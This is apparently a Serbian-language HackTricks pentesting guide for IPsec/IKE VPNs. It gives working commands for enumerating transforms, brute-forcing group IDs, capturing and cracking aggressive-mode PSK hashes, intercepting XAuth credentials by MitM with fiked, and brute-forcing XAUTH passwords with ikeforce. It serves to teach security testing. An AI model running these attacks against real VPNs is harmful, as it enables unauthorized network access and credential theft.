19 KiB
500/udp - Pentestiranje IPsec/IKE VPN
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. Isprobajte ga besplatno danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Osnovne informacije
IPsec je široko priznata tehnologija za obezbeđivanje komunikacije između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog pristupnog čvora (udaljeni pristup), služeći kao osnova za VPN rešenja u preduzećima.
Uspostavljanje bezbednosne asocijacije (SA) između dve tačke upravlja IKE, koji radi pod okriljem ISAKMP-a, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
- Faza 1: Bezbedan kanal se kreira između dve tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili agresivni režim.
- Faza 1.5: Iako nije obavezna, ova faza, poznata kao Faza Proširene Autentifikacije, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
- Faza 2: Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa ESP i AH. Omogućava korišćenje algoritama koji se razlikuju od onih u Fazi 1 kako bi se obezbedila Savršena Napredna Tajnost (PFS), poboljšavajući bezbednost.
Podrazumevani port: 500/udp
Otkrijte uslugu korišćenjem nmap-a
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Pronalaženje validne transformacije
Konfiguracija IPSec-a može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. Svaka transformacija sadrži određeni broj atributa kao što su DES ili 3DES kao algoritam za enkripciju, SHA ili MD5 kao algoritam za integritet, prethodno deljena ključ kao tip autentifikacije, Diffie-Hellman 1 ili 2 kao algoritam za distribuciju ključeva i 28800 sekundi kao vreme trajanja.
Prvo što trebate uraditi je pronaći validnu transformaciju, kako bi server komunicirao s vama. Za to možete koristiti alat ike-scan. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket gateway-u sa ISAKMP zaglavljem i jednim predlogom koji sadrži osam transformacija.
Na osnovu odgovora možete dobiti neke informacije o krajnjoj tački:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Kao što možete videti u prethodnom odgovoru, postoji polje nazvano AUTH sa vrednošću PSK. To znači da je VPN konfigurisan korišćenjem prethodno deljene ključa (što je veoma dobro za pentestera).
Vrednost poslednje linije je takođe veoma važna:
- 0 vraćenih handshake-ova; 0 vraćenih obaveštenja: Ovo znači da ciljna mašina nije IPsec gateway.
- 1 vraćen handshake; 0 vraćenih obaveštenja: Ovo znači da je ciljna mašina konfigurisana za IPsec i spremna je da izvrši IKE pregovaranje, i jedna ili više transformacija koje ste predložili su prihvatljive (važeća transformacija će biti prikazana u izlazu).
- 0 vraćenih handshake-ova; 1 vraćeno obaveštenje: VPN gateway-ovi odgovaraju obaveštenjem kada nijedna od transformacija nije prihvatljiva (mada neki gateway-ovi to ne rade, u tom slučaju treba pokušati daljnja analiza i revidirani predlog).
U ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u trećem slučaju, onda morate malo probati da biste pronašli važeću transformaciju:
Prvo, trebate kreirati sve moguće transformacije:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
A zatim izvršite brute-force napad na svaki koristeći ike-scan (ovo može potrajati nekoliko minuta):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na validne transformacije. Zatim, možete pokušati isti brute-force, ali koristeći agresivni režim:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Nadam se da će vaša validna transformacija biti prikazana.
Možete pokušati isti napad koristeći iker.py.
Takođe možete pokušati sa brute force napadom na transformacije koristeći ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
U DH grupi: 14 = 2048-bit MODP i 15 = 3072-bit
2 = HMAC-SHA = SHA1 (u ovom slučaju). Format --trans
je $Enc,$Hash,$Auth,$DH
Cisco preporučuje izbjegavanje korištenja DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci vjeruju da zemlje s velikim resursima lako mogu probiti enkripciju podataka koji koriste ove slabe grupe. To se postiže korištenjem posebne metode koja ih priprema za brzo pucanje kodova. Iako je postavljanje ove metode skupo, omogućava ovim moćnim zemljama čitanje šifriranih podataka u stvarnom vremenu ako koriste grupu koja nije jaka (poput 1,024-bit ili manje).
Fingerprintiranje servera
Zatim, možete koristiti ike-scan da biste pokušali otkriti proizvođača uređaja. Alatka šalje početni prijedlog i zaustavlja ponavljanje. Zatim, analizira razliku vremena između primljenih poruka od servera i odgovarajućeg obrasca odgovora, pentester može uspješno identificirati proizvođača VPN gateway-a. Osim toga, neki VPN serveri će koristiti opcionalni Vendor ID (VID) payload s IKE.
Navedite valjanu transformaciju ako je potrebno (koristeći --trans)
Ako IKE otkrije koji je proizvođač, ispisat će ga:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Ovo se može postići i sa nmap skriptom ike-version
Pronalaženje ispravnog ID-a (imena grupe)
Da biste bili u mogućnosti da uhvatite heš, potrebno je da imate validnu transformaciju koja podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati ispravno ime grupe, pa ćete morati da ga probate metodom brute-force. Da biste to uradili, preporučujem vam 2 metode:
Brute-force ID sa ike-scan
Prvo, pokušajte da napravite zahtev sa lažnim ID-om kako biste pokušali da prikupite heš ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Ako nema povratne vrednosti heša, tada je verovatno da će ovaj metod brute force napada uspeti. Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan za brute force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
Ali ako, kao što sam već rekao, nema povratne vrednosti heša, tada treba pokušati brute force napadom na uobičajena imena grupa koristeći ike-scan.
Ovaj skript će pokušati brute force napad na moguće ID-ove i vratiti ID-ove za koje se vrati validan handshake (to će biti validno ime grupe).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebali biste ih sve isprobati dok jedna od njih ne radi pravilno).
Možete koristiti rečnik ikeforce ili onaj u seclists sa uobičajenim imenima grupa za brute force napad na njih:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Ili koristite ovaj rečnik (kombinacija prethodna dva rečnika bez ponavljanja):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Bruteforcing ID sa Ikerom
iker.py takođe koristi ike-scan za bruteforce mogućih imena grupa. Prati svoju metodu za pronalaženje validnog ID-a na osnovu izlaza ike-scan-a.
Bruteforcing ID sa ikeforce-om
ikeforce.py je alat koji se može koristiti i za bruteforce ID-ova. Ovaj alat će pokušati da iskoristi različite ranjivosti koje se mogu koristiti za razlikovanje između validnog i nevalidnog ID-a (može imati lažne pozitivne i lažne negativne rezultate, zbog čega je bolje koristiti metodu ike-scan-a ako je moguće).
Podrazumevano, ikeforce će na početku poslati neke nasumične ID-ove kako bi proverio ponašanje servera i odredio taktiku koju će koristiti.
- Prva metoda je bruteforce imena grupa pretraživanjem informacija Dead Peer Detection DPD Cisco sistema (ove informacije server samo vraća ako je ime grupe ispravno).
- Druga dostupna metoda je provera broja poslatih odgovora za svaki pokušaj, jer se ponekad šalje više paketa kada se koristi ispravan ID.
- Treća metoda podrazumeva pretragu odgovora sa "INVALID-ID-INFORMATION" u slučaju neispravnog ID-a.
- Na kraju, ako server ne odgovori na provere, ikeforce će pokušati da izvrši bruteforce servera i proveri da li server šalje neki paket kada se pošalje ispravan ID.
Očigledno, cilj bruteforce-a ID-a je da se dobije PSK kada imate validan ID. Zatim, sa ID-om i PSK-om, moraćete da izvršite bruteforce XAUTH-a (ako je omogućen).
Ako ste otkrili određenu transformaciju, dodajte je u komandu ikeforce-a. Ako ste otkrili više transformacija, slobodno dodajte novu petlju kako biste ih sve isprobali (trebali biste ih sve isprobati dok ne pronađete onu koja pravilno funkcioniše).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Snifovanje ID-a
(Iz knjige Procena mrežne sigurnosti: Upoznajte svoju mrežu): Takođe je moguće dobiti validna korisnička imena snifovanjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno.
Snimanje i pucanje heša
Na kraju, ako ste pronašli validnu transformaciju i ime grupe i ako je agresivni mod dozvoljen, vrlo lako možete dobiti heš koji se može pucati.
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Heš će biti sačuvan unutar hash.txt.
Možete koristiti psk-crack, john (koristeći ikescan2john.py) i hashcat da provalite heš:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Agresivni režim IKE u kombinaciji sa Pre-Shared Key (PSK) se često koristi u svrhu grupne autentifikacije. Ovaj metod se nadograđuje sa XAuth (Extended Authentication), koji uvodi dodatni sloj autentifikacije korisnika. Takva autentifikacija obično koristi usluge kao što su Microsoft Active Directory, RADIUS, ili slični sistemi.
Prelaskom na IKEv2, primećuje se značajna promena gde se umesto XAuth koristi EAP (Extensible Authentication Protocol) u svrhu autentifikacije korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnih komunikacionih protokola.
MitM napad na lokalnu mrežu radi presretanja akreditiva
Možete presresti podatke za prijavljivanje koristeći fiked i videti da li postoji neko podrazumevano korisničko ime (Potrebno je preusmeriti IKE saobraćaj na fiked
za prisluškivanje, što se može uraditi uz pomoć ARP spoofinga, više informacija). Fiked će delovati kao VPN krajnja tačka i presretati XAuth akreditive:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Takođe, pokušajte da izvršite MitM napad koristeći IPSec i blokirajte sav saobraćaj ka portu 500. Ako IPSec tunel ne može da se uspostavi, možda će se saobraćaj slati u čistom obliku.
Brute-forcing XAUTH korisničko ime i lozinku pomoću ikeforce
Da biste izvršili brute force napad na XAUTH (kada znate validno ime grupe id i psk), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničkog imena i lozinke.
Ako pronađete jednu ili više validnih transformacija, koristite ih kao u prethodnim koracima.
Autentifikacija sa IPSEC VPN-om
U Kali, VPNC se koristi za uspostavljanje IPsec tunela. Profil-i se moraju nalaziti u direktorijumu /etc/vpnc/
. Možete pokrenuti ove profile koristeći komandu vpnc.
Sledeće komande i konfiguracije ilustruju proces podešavanja VPN veze sa VPNC-om:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
U ovom postavci:
- Zamijenite
[VPN_GATEWAY_IP]
stvarnom IP adresom VPN gateway-a. - Zamijenite
[VPN_CONNECTION_ID]
identifikatorom VPN veze. - Zamijenite
[VPN_GROUP_SECRET]
tajnom grupe VPN-a. - Zamijenite
[VPN_USERNAME]
i[VPN_PASSWORD]
sa autentifikacijskim podacima VPN-a. [PID]
simbolizuje ID procesa koji će biti dodijeljen kadavpnc
pokrene.
Osigurajte da se stvarne i sigurne vrijednosti koriste za zamjenu mjesta kada konfigurirate VPN.
Referentni materijal
- PSK cracking paper
- SecurityFocus Infocus
- Skeniranje implementacije VPN-a
- Network Security Assessment 3. izdanje
Shodan
port:500 IKE
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje prijetnji, pronalazi probleme u cijelom vašem tehničkom sklopu, od API-ja do web aplikacija i cloud sustava. Isprobajte besplatno danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Naučite hakiranje AWS-a od nule do heroja s htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite vidjeti oglašavanje vaše tvrtke u HackTricks-u ili preuzeti HackTricks u PDF-u, provjerite SUBSCRIPTION PLANS!
- Nabavite službeni PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podijelite svoje trikove hakiranja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorije.